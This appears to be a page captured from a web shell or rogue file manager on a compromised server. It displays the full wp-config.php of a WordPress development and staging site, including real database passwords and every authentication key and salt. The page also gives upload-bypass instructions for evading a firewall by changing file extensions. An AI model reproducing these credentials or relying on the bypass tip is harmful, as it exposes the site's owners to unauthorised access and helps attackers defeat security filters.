Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
candid-dev.bitkit.dk
httpdocs
File Content:
wp-config.php
<?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the website, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * Database settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/ * * @package WordPress */ // Get the current domain $current_domain = $_SERVER['HTTP_HOST']; // Define database credentials based on the domain switch ($current_domain) { case 'candid-dev.bitkit.dk': define('DB_NAME', 'candiddev_db'); define('DB_USER', 'candiddev_user'); define('DB_PASSWORD', '99XB0yur67824q3r82#'); define('DB_HOST', 'localhost'); break; case 'candid-stg.bitkit.dk': define('DB_NAME', 'candidstg_db'); define('DB_USER', 'candidstg_user'); define('DB_PASSWORD', 'ewart6w4tryeGAaab8%'); define('DB_HOST', 'localhost'); // Usually 'localhost', change if needed break; default: die('Error: Unknown domain. Please check your configuration.'); } // Optional: Define unique keys and salts for each site if needed if ($current_domain === 'candid-dev.bitkit.dk') { define('AUTH_KEY', '32vz-]P,DG(,y$Ib(fP?68kRhh%WK]t@.`j#J,11G2YHa)ZtvaJEd(!?U h~)wj/'); define('SECURE_AUTH_KEY', 'n!^iseDsj3eNnM)U*Z3C[Zth,xKCd nk:TV)${` g2tHAu.s?Ee8XQG;s$+d?gd4'); define('LOGGED_IN_KEY', 'w.G_4T|9(jTRJ7^S2TJ?{Vv<l*fe,Pt1#q}StERz%:U=i_/Ngfran]u(w1%LkOWe'); define('NONCE_KEY', '5wHRnW]=TN:ZEx6skqc>)i5`t;o:M1]s)U4n.+Qb9Hsw2:WLlUPHRwO(S3Tj</gl'); define('AUTH_SALT', '6@IBGi^5MmBJ[Fz|viU`g28B5YAG&aY4*a~,gj6)ohVs8(B}#}-_d@mSD>.~_y16'); define('SECURE_AUTH_SALT', 'w{p]]$v+yNV9!HM|&C<SBj1E,9=^(a49rp<M8qL;/`0T*@iybD,j3A)0E{V3GVX '); define('LOGGED_IN_SALT', 't3i8pm^]aiSkw9[HhZQnK{u>u%IZ@uzcSyUHK,pc0_z2^8mQdL[HE,Si8h0QZ[ZK'); define('NONCE_SALT', 'tnzRCV6s%/gv_}B=*ZRzRb}9d}fb[eV-;mZGuTSv]Nc7[O2LeQz1s}pLva`.f2Lq'); } elseif ($current_domain === 'candid-stg.bitkit.dk') { define('AUTH_KEY', '84yOH(;jdJ-0_MW^rH]/|U>_WuI>3c(A4-Ld`ON^}Dz2m,r#ev<j,_g&%fS|&AHj'); define('SECURE_AUTH_KEY', '|DS76|4-Fy+=1&2 DpLOZ4}E`IB6MFsMo*VG.1^r+MLrW:`NAI|_>4$|g|UJ(ggX'); define('LOGGED_IN_KEY', 'y~-(DVi|h:x+#gyuyj<+}A9<.C.j1#3q<<?S_p3xuvjE#rd$GYmuSFQBokV[FU|<'); define('NONCE_KEY', 'SFvE*qt;Gp@F28|BO.-ZSvH<h$;q(@B7#{n`p|6e|8M#Cmz+#3hkc+YIUb=m,)pL'); define('AUTH_SALT', 'n9@IO[wwENw(xa#Bvw0eEr)qzA1tiD(k06h1dYi#fohv^1+{+SC/ *D*2%~qS+us'); define('SECURE_AUTH_SALT', 'AVO00(<}kWB%VGETYiu(t4imOHDPej;[-2d57 !Mj.UT%E9dR=id%:<m,{}JnTP9'); define('LOGGED_IN_SALT', 'DGgK[x9Xh7R*dV@E=lK}(bA~#Z]ztJKP{;@lYOgV+{D r:ihB`=L>IdE$xCnMqtN'); define('NONCE_SALT', '!TpGAdciCE+%0.#NyWYx+z&fhk,6j*5A2LI0*x(43g&3`yTC+VB,z;kcgUaGz1DL'); } define('DISALLOW_FILE_EDIT', true); /** * WordPress database table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/ */ define('WP_DEBUG', true); define('WP_DEBUG_LOG', true); define('WP_DEBUG_DISPLAY', false); define('FS_METHOD', 'direct'); define('GRAPHQL_DEBUG', true); define('WP_MEMORY_LIMIT', '256M'); /* Add any custom values between this line and the "stop editing" line. */ /* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if (! defined('ABSPATH')) { define('ABSPATH', __DIR__ . '/'); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php';
Edit
Download
Unzip
Chmod
Delete